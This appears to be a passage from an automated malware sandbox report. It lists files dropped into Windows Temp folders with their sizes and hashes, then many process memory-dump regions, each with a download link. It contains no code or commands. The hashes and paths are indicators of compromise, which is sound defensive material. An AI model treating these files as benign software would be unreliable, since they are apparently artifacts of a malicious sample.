                        • \Windows\Temp\{1A55F796-1AA9-4822-9535-7D1084DE4E8C}\.cr\z3SJkC5.exe
                          Filesize

                          7.7MB

                          MD5

                          eff9e9d84badf4b9d4c73155d743b756

                          SHA1

                          fd0ad0c927617a3f7b7e1df2f5726259034586af

                          SHA256

                          d61ef1bfa73bd5b013066d86f1c41e33bb396fc547cf5ab7191f56cc7b463aad

                          SHA512

                          0006273c86e8130e06e705a2be46c3433c0d1b34463123354c1857ebf88503d6e7e90602dc40960351baa03155074f8c5834b251be9da90fd95b10e498a98a19

                          Download Submit

                        • \Windows\Temp\{C7532B66-E3A0-4A8E-ABC4-DA6AD968B6EC}\.ba\Quadrisyllable.dll
                          Filesize

                          168KB

                          MD5

                          a1e561bc201a14277dfc3bf20d1a6cd7

                          SHA1

                          1895fd97fb75ad6b59fc6d2222cf36b7dc608b29

                          SHA256

                          7ae39cb5cd14a875af3e43df4a309d6a7a44c0339c413bf21b0300c84e35b66c

                          SHA512

                          aaa4e7350094dc7574e5f18ce619f48a45062674353f0f2a340a1fea0055c7961a9b257455d8ea877d739635e3444df08f049484f48fa9729d8fb1667374cf3c

                          Download Submit

                        • \Windows\Temp\{C7532B66-E3A0-4A8E-ABC4-DA6AD968B6EC}\.ba\sqlite3.dll
                          Filesize

                          891KB

                          MD5

                          1e24135c3930e1c81f3a0cd287fb0f26

                          SHA1

                          9d13bfe63ddb15743f7770387b21e15652f96267

                          SHA256

                          1ce645aa8d3e5ef2a57a0297121e54b31cc29b44b59a49b1330e3d0880ce5012

                          SHA512

                          04e3ffa4d71b2324fafcb856b9e686ffd3f7a24e1cb6531b3715aa3b0abd52709a9dcb79643384315ebc16cf8899bd9b218ca5c6d47dc97df278126d0836201f

                          Download Submit

                        • memory/328-591-0x000000013FA50000-0x00000001405F1000-memory.dmp

                          Filesize

                          11.6MB

                          Download

                        • memory/344-705-0x0000000000400000-0x0000000000465000-memory.dmp

                          Filesize

                          404KB

                          Download

                        • memory/344-701-0x0000000000400000-0x0000000000465000-memory.dmp

                          Filesize

                          404KB

                          Download

                        • memory/344-703-0x0000000000400000-0x0000000000465000-memory.dmp

                          Filesize

                          404KB

                          Download

                        • memory/344-712-0x0000000000400000-0x0000000000465000-memory.dmp

                          Filesize

                          404KB

                          Download

                        • memory/344-713-0x0000000000400000-0x0000000000465000-memory.dmp

                          Filesize

                          404KB

                          Download

                        • memory/344-709-0x0000000000400000-0x0000000000465000-memory.dmp

                          Filesize

                          404KB

                          Download

                        • memory/344-707-0x0000000000400000-0x0000000000465000-memory.dmp

                          Filesize

                          404KB

                          Download

                        • memory/344-711-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/684-699-0x00000000000F0000-0x0000000000168000-memory.dmp

                          Filesize

                          480KB

                          Download

                        • memory/824-1054-0x0000000000C20000-0x0000000001286000-memory.dmp

                          Filesize

                          6.4MB

                          Download

                        • memory/864-627-0x0000000006590000-0x0000000006A3F000-memory.dmp

                          Filesize

                          4.7MB

                          Download

                        • memory/864-628-0x0000000006590000-0x0000000006A3F000-memory.dmp

                          Filesize

                          4.7MB

                          Download

                        • memory/908-1007-0x00000000001B0000-0x000000000020F000-memory.dmp

                          Filesize

                          380KB

                          Download

                        • memory/908-301-0x0000000000F30000-0x000000000161E000-memory.dmp

                          Filesize

                          6.9MB

                          Download

                        • memory/908-1014-0x0000000000F30000-0x000000000161E000-memory.dmp

                          Filesize

                          6.9MB

                          Download

                        • memory/908-248-0x0000000000F30000-0x000000000161E000-memory.dmp

                          Filesize

                          6.9MB

                          Download

                        • memory/1104-907-0x00000000000F0000-0x0000000000599000-memory.dmp

                          Filesize

                          4.7MB

                          Download

                        • memory/1136-1005-0x0000000002E00000-0x0000000002E08000-memory.dmp

                          Filesize

                          32KB

                          Download

                        • memory/1136-996-0x0000000002970000-0x0000000002978000-memory.dmp

                          Filesize

                          32KB

                          Download

                        • memory/1136-995-0x000000001B580000-0x000000001B862000-memory.dmp

                          Filesize

                          2.9MB

                          Download

                        • memory/1264-721-0x0000000001F50000-0x0000000001F58000-memory.dmp

                          Filesize

                          32KB

                          Download

                        • memory/1264-720-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

                          Filesize

                          2.9MB

                          Download

                        • memory/1308-722-0x0000000001060000-0x0000000001A6A000-memory.dmp

                          Filesize

                          10.0MB

                          Download

                        • memory/1308-725-0x0000000001060000-0x0000000001A6A000-memory.dmp

                          Filesize

                          10.0MB

                          Download

                        • memory/1580-528-0x00000000013B0000-0x00000000013C2000-memory.dmp

                          Filesize

                          72KB

                          Download

                        • memory/1580-529-0x0000000000550000-0x0000000000560000-memory.dmp

                          Filesize

                          64KB

                          Download

                        • memory/1624-5-0x0000000000870000-0x0000000000D32000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/1624-2-0x0000000000871000-0x000000000089F000-memory.dmp

                          Filesize

                          184KB

                          Download

                        • memory/1624-0-0x0000000000870000-0x0000000000D32000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/1624-9-0x0000000000870000-0x0000000000D32000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/1624-15-0x0000000000870000-0x0000000000D32000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/1624-16-0x0000000006D80000-0x0000000007242000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/1624-3-0x0000000000870000-0x0000000000D32000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/1624-1-0x0000000077430000-0x0000000077432000-memory.dmp

                          Filesize

                          8KB

                          Download

                        • memory/2036-762-0x0000000000C70000-0x00000000018A5000-memory.dmp

                          Filesize

                          12.2MB

                          Download

                        • memory/2036-811-0x0000000000C70000-0x00000000018A5000-memory.dmp

                          Filesize

                          12.2MB

                          Download

                        • memory/2044-221-0x0000000000980000-0x0000000000E1B000-memory.dmp

                          Filesize

                          4.6MB

                          Download

                        • memory/2044-227-0x0000000000980000-0x0000000000E1B000-memory.dmp

                          Filesize

                          4.6MB

                          Download

                        • memory/2196-683-0x0000000001270000-0x000000000171F000-memory.dmp

                          Filesize

                          4.7MB

                          Download

                        • memory/2196-674-0x0000000001270000-0x000000000171F000-memory.dmp

                          Filesize

                          4.7MB

                          Download

                        • memory/2276-177-0x0000000000220000-0x0000000000531000-memory.dmp

                          Filesize

                          3.1MB

                          Download

                        • memory/2276-203-0x0000000000220000-0x0000000000531000-memory.dmp

                          Filesize

                          3.1MB

                          Download

                        • memory/2368-723-0x0000000000400000-0x000000000042F000-memory.dmp

                          Filesize

                          188KB

                          Download

                        • memory/2368-724-0x0000000000400000-0x000000000042F000-memory.dmp

                          Filesize

                          188KB

                          Download

                        • memory/2368-741-0x0000000010000000-0x000000001001C000-memory.dmp

                          Filesize

                          112KB

                          Download

                        • memory/2416-530-0x000000013FCC0000-0x000000014130B000-memory.dmp

                          Filesize

                          22.3MB

                          Download

                        • memory/2456-810-0x0000000000400000-0x000000000042F000-memory.dmp

                          Filesize

                          188KB

                          Download

                        • memory/2544-629-0x0000000001230000-0x00000000016DF000-memory.dmp

                          Filesize

                          4.7MB

                          Download

                        • memory/2544-631-0x0000000001230000-0x00000000016DF000-memory.dmp

                          Filesize

                          4.7MB

                          Download

                        • memory/2756-1028-0x0000000000930000-0x0000000000C41000-memory.dmp

                          Filesize

                          3.1MB

                          Download

                        • memory/2760-202-0x0000000006840000-0x0000000006B51000-memory.dmp

                          Filesize

                          3.1MB

                          Download

                        • memory/2760-201-0x0000000006840000-0x0000000006B51000-memory.dmp

                          Filesize

                          3.1MB

                          Download

                        • memory/2760-18-0x0000000000E20000-0x00000000012E2000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/2760-607-0x0000000000E20000-0x00000000012E2000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/2760-515-0x0000000000E20000-0x00000000012E2000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/2760-300-0x0000000000E20000-0x00000000012E2000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/2760-272-0x0000000006840000-0x0000000006F2E000-memory.dmp

                          Filesize

                          6.9MB

                          Download

                        • memory/2760-246-0x0000000006840000-0x0000000006F2E000-memory.dmp

                          Filesize

                          6.9MB

                          Download

                        • memory/2760-746-0x0000000000E20000-0x00000000012E2000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/2760-245-0x0000000006840000-0x0000000006F2E000-memory.dmp

                          Filesize

                          6.9MB

                          Download

                        • memory/2760-898-0x0000000000E20000-0x00000000012E2000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/2760-229-0x0000000006840000-0x0000000006CDB000-memory.dmp

                          Filesize

                          4.6MB

                          Download

                        • memory/2760-228-0x0000000006840000-0x0000000006CDB000-memory.dmp

                          Filesize

                          4.6MB

                          Download

                        • memory/2760-226-0x0000000000E20000-0x00000000012E2000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/2760-219-0x0000000006840000-0x0000000006CDB000-memory.dmp

                          Filesize

                          4.6MB

                          Download

                        • memory/2760-220-0x0000000006840000-0x0000000006CDB000-memory.dmp

                          Filesize

                          4.6MB

                          Download

                        • memory/2760-663-0x0000000000E20000-0x00000000012E2000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/2760-39-0x0000000006840000-0x0000000006CE1000-memory.dmp

                          Filesize

                          4.6MB

                          Download

                        • memory/2760-239-0x0000000000E20000-0x00000000012E2000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/2760-181-0x0000000000E20000-0x00000000012E2000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/2760-20-0x0000000000E20000-0x00000000012E2000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/2760-19-0x0000000000E21000-0x0000000000E4F000-memory.dmp

                          Filesize

                          184KB

                          Download

                        • memory/2760-174-0x0000000006840000-0x0000000006B51000-memory.dmp

                          Filesize

                          3.1MB

                          Download

                        • memory/2760-175-0x0000000006840000-0x0000000006B51000-memory.dmp

                          Filesize

                          3.1MB

                          Download

                        • memory/2760-22-0x0000000000E20000-0x00000000012E2000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/2760-96-0x0000000000E20000-0x00000000012E2000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/2760-714-0x0000000000E20000-0x00000000012E2000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/2760-1029-0x0000000000E20000-0x00000000012E2000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/2760-1201-0x0000000000E20000-0x00000000012E2000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/2760-82-0x0000000006840000-0x0000000006CE1000-memory.dmp

                          Filesize

                          4.6MB

                          Download

                        • memory/2760-81-0x0000000006840000-0x0000000006CE1000-memory.dmp

                          Filesize

                          4.6MB

                          Download

                        • memory/2760-23-0x0000000000E20000-0x00000000012E2000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/2760-24-0x0000000000E20000-0x00000000012E2000-memory.dmp

                          Filesize

                          4.8MB

                          Download

                        • memory/2760-41-0x0000000006840000-0x0000000006CE1000-memory.dmp

                          Filesize

                          4.6MB

                          Download

                        • memory/2840-1076-0x0000000000C40000-0x0000000001875000-memory.dmp

                          Filesize

                          12.2MB

                          Download

                        • memory/2840-1078-0x0000000000C40000-0x0000000001875000-memory.dmp

                          Filesize

                          12.2MB

                          Download

                        • memory/2896-672-0x00000000065D0000-0x0000000006A7F000-memory.dmp

                          Filesize

                          4.7MB

                          Download

                        • memory/2896-673-0x00000000065D0000-0x0000000006A7F000-memory.dmp

                          Filesize

                          4.7MB

                          Download

                        • memory/2900-1238-0x0000000000B80000-0x0000000000FDE000-memory.dmp

                          Filesize

                          4.4MB

                          Download

                        • memory/2900-1239-0x0000000000B80000-0x0000000000FDE000-memory.dmp

                          Filesize

                          4.4MB

                          Download

                        • memory/2904-42-0x0000000000D80000-0x0000000001221000-memory.dmp

                          Filesize

                          4.6MB

                          Download

                        • memory/2904-98-0x0000000000D80000-0x0000000001221000-memory.dmp

                          Filesize

                          4.6MB

                          Download

                        • memory/2904-97-0x0000000000D80000-0x0000000001221000-memory.dmp

                          Filesize

                          4.6MB

                          Download

                        • memory/2904-179-0x0000000000D80000-0x0000000001221000-memory.dmp

                          Filesize

                          4.6MB

                          Download

                        • memory/2988-180-0x0000000000400000-0x0000000000D48000-memory.dmp

                          Filesize

                          9.3MB

                          Download